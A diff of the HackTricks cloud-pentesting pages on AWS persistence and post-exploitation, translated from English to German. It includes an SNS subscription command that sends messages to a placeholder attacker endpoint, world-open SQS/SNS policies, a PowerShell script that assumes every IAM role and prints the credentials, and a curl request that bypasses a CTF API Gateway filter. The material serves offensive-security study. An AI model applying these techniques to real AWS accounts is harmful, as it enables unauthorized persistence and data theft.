Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
|
||||
Obwohl die ACLs von Buckets normalerweise deaktiviert sind, könnte ein Angreifer mit ausreichenden Berechtigungen diese missbrauchen (wenn sie aktiviert sind oder wenn der Angreifer sie aktivieren kann), um den Zugriff auf den S3-Bucket aufrechtzuerhalten.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,54 +4,48 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more info check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
### Über Ressourcenrichtlinien
|
||||
|
||||
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
|
||||
Es ist möglich, **Zugriff auf Geheimnisse für externe Konten** über Ressourcenrichtlinien zu **gewähren**. Überprüfen Sie die [**Secrets Manager Privesc-Seite**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) für weitere Informationen. Beachten Sie, dass das externe Konto auch **Zugriff auf den KMS-Schlüssel, der das Geheimnis verschlüsselt, benötigt**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
### Über Secrets Rotate Lambda
|
||||
|
||||
To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
Um **Geheimnisse** automatisch zu **rotieren**, wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** **ändern** könnte, könnte er das neue Geheimnis direkt an sich selbst **exfiltrieren**.
|
||||
|
||||
So könnte der Lambda-Code für eine solche Aktion aussehen:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,74 +12,66 @@ For more information check:
|
||||
|
||||
### Persistence
|
||||
|
||||
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
||||
|
||||
Beim Erstellen eines **SNS-Themas** müssen Sie mit einer IAM-Richtlinie angeben, **wer Zugriff auf das Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
|
||||
Die folgende Richtlinie gewährt allen in AWS Zugriff auf das Lesen und Schreiben im SNS-Thema mit dem Namen **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Erstellen von Abonnenten
|
||||
|
||||
### Create Subscribers
|
||||
|
||||
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
||||
|
||||
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
||||
Um weiterhin alle Nachrichten aus allen Themen zu exfiltrieren, könnte der Angreifer **Abonnenten für alle Themen erstellen**.
|
||||
|
||||
Beachten Sie, dass, wenn das **Thema vom Typ FIFO** ist, nur Abonnenten, die das Protokoll **SQS** verwenden, genutzt werden können.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using resource policy
|
||||
|
||||
In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
|
||||
### Verwendung der Ressourcenrichtlinie
|
||||
|
||||
In SQS müssen Sie mit einer IAM-Richtlinie **angeben, wer Zugriff auf das Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
|
||||
Die folgende Richtlinie gewährt jedem in AWS Zugriff auf alles in der Warteschlange mit dem Namen **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> Sie könnten sogar **jedes Mal eine Lambda im Konto des Angreifers auslösen, wenn eine neue Nachricht** in die Warteschlange gestellt wird (Sie müssten sie irgendwie erneut einfügen). Folgen Sie dazu diesen Anweisungen: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# AWS - SSM Persistenz
|
||||
|
||||
@@ -1,25 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
# AWS - Step Functions Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
### Backdooring von Step-Funktionen
|
||||
|
||||
Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
|
||||
Hinterlege einen Backdoor in einer Step-Funktion, um jeden Persistenztrick auszuführen, sodass jedes Mal, wenn sie ausgeführt wird, deine bösartigen Schritte ausgeführt werden.
|
||||
|
||||
### Backdooring aliases
|
||||
### Backdooring von Aliasen
|
||||
|
||||
If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
|
||||
Wenn das AWS-Konto Aliase verwendet, um Step-Funktionen aufzurufen, wäre es möglich, einen Alias zu ändern, um eine neue, gehackte Version der Step-Funktion zu verwenden.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## STS
|
||||
|
||||
For more information access:
|
||||
Für weitere Informationen zugreifen:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
@@ -12,54 +12,51 @@ For more information access:
|
||||
|
||||
### Assume role token
|
||||
|
||||
Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
|
||||
Temporäre Tokens können nicht aufgelistet werden, daher ist das Halten eines aktiven temporären Tokens eine Möglichkeit, Persistenz aufrechtzuerhalten.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# With MFA
|
||||
# Mit MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
# Der Name des Hardwaregeräts ist normalerweise die Nummer auf der Rückseite des Geräts, wie GAHT12345678
|
||||
<strong># Der SMS-Gerätename ist die ARN in AWS, wie arn:aws:iam::123456789012:sms-mfa/benutzername
|
||||
</strong># Der virtuelle Gerätename ist die ARN in AWS, wie arn:aws:iam::123456789012:mfa/benutzername
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
|
||||
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
[**Role Chaining ist ein anerkanntes AWS-Feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), das häufig zur Aufrechterhaltung von Stealth-Persistenz verwendet wird. Es beinhaltet die Fähigkeit, **eine Rolle zu übernehmen, die dann eine andere übernimmt**, was potenziell zur ursprünglichen Rolle in einer **zyklischen Weise** zurückkehrt. Jedes Mal, wenn eine Rolle übernommen wird, wird das Ablaufdatum der Anmeldeinformationen aktualisiert. Folglich, wenn zwei Rollen so konfiguriert sind, dass sie sich gegenseitig übernehmen, ermöglicht dieses Setup die ständige Erneuerung der Anmeldeinformationen.
|
||||
|
||||
Sie können dieses [**Tool**](https://github.com/hotnops/AWSRoleJuggler/) verwenden, um das Role Chaining aufrechtzuerhalten:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
|
||||
> Beachten Sie, dass das [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) Skript aus diesem Github-Repository nicht alle Möglichkeiten findet, wie eine Rollenverkettung konfiguriert werden kann.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code to perform Role Juggling from PowerShell</summary>
|
||||
|
||||
<summary>Code zum Durchführen von Role Juggling aus PowerShell</summary>
|
||||
```powershell
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
# Check for AWS CLI installation
|
||||
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
}
|
||||
|
||||
# Function to list IAM roles
|
||||
function List-IAMRoles {
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
}
|
||||
|
||||
# Initialize error count
|
||||
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
|
||||
|
||||
# Attempt to assume each role
|
||||
foreach ($role in $roles) {
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
|
||||
# Output the number of errors if any
|
||||
if ($errorCount -gt 0) {
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
} else {
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
}
|
||||
|
||||
Write-Host "Role juggling check complete."
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,48 +4,43 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Access unexposed APIs
|
||||
### Zugriff auf nicht exponierte APIs
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
Sie können einen Endpunkt in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) mit dem Dienst `com.amazonaws.us-east-1.execute-api` erstellen, den Endpunkt in einem Netzwerk exponieren, auf das Sie Zugriff haben (möglicherweise über eine EC2-Maschine) und eine Sicherheitsgruppe zuweisen, die alle Verbindungen erlaubt.\
|
||||
Dann können Sie von der EC2-Maschine aus auf den Endpunkt zugreifen und somit die Gateway-API aufrufen, die zuvor nicht exponiert war.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
### Umgehung des Request-Body-Passthrough
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
Diese Technik wurde in [**diesem CTF-Bericht**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) gefunden.
|
||||
|
||||
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
|
||||
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
Wie in der [**AWS-Dokumentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) im Abschnitt `PassthroughBehavior` angegeben, wird standardmäßig der Wert **`WHEN_NO_MATCH`**, beim Überprüfen des **Content-Type**-Headers der Anfrage, die Anfrage ohne Transformation an das Backend weiterleiten.
|
||||
|
||||
Daher hatte im CTF das API Gateway eine Integrationsvorlage, die **verhindert hat, dass das Flag in einer Antwort exfiltriert wird**, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter umgehen.
|
||||
|
||||
However, sending a request with **`Content-type: text/json`** would prevent that filter.
|
||||
|
||||
Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
|
||||
|
||||
Schließlich, da das API Gateway nur `Get` und `Options` erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Einschränkung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body und dem Header `X-HTTP-Method-Override: GET` verwendete:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
|
||||
### Usage Plans DoS
|
||||
|
||||
In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
|
||||
Im Abschnitt **Enumeration** sehen Sie, wie Sie den **Nutzungsplan** der Schlüssel **erhalten** können. Wenn Sie den Schlüssel haben und er auf X Nutzungen **pro Monat** **beschränkt** ist, könnten Sie ihn **einfach verwenden und einen DoS verursachen**.
|
||||
|
||||
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
|
||||
Der **API-Schlüssel** muss nur in einem **HTTP-Header** namens **`x-api-key`** **eingeschlossen** werden.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann eine **bestehende Gateway-Antwort ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
|
||||
**Potenzielle Auswirkungen**: Leckage sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> Muss getestet werden
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `apigateway:UpdateStage` und `apigateway:CreateDeployment` kann **eine vorhandene API Gateway-Stufe ändern, um den Datenverkehr auf eine andere Stufe umzuleiten oder die Caching-Einstellungen zu ändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erhalten**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff auf zwischengespeicherte Daten, Störung oder Abfangen von API-Verkehr.
|
||||
|
||||
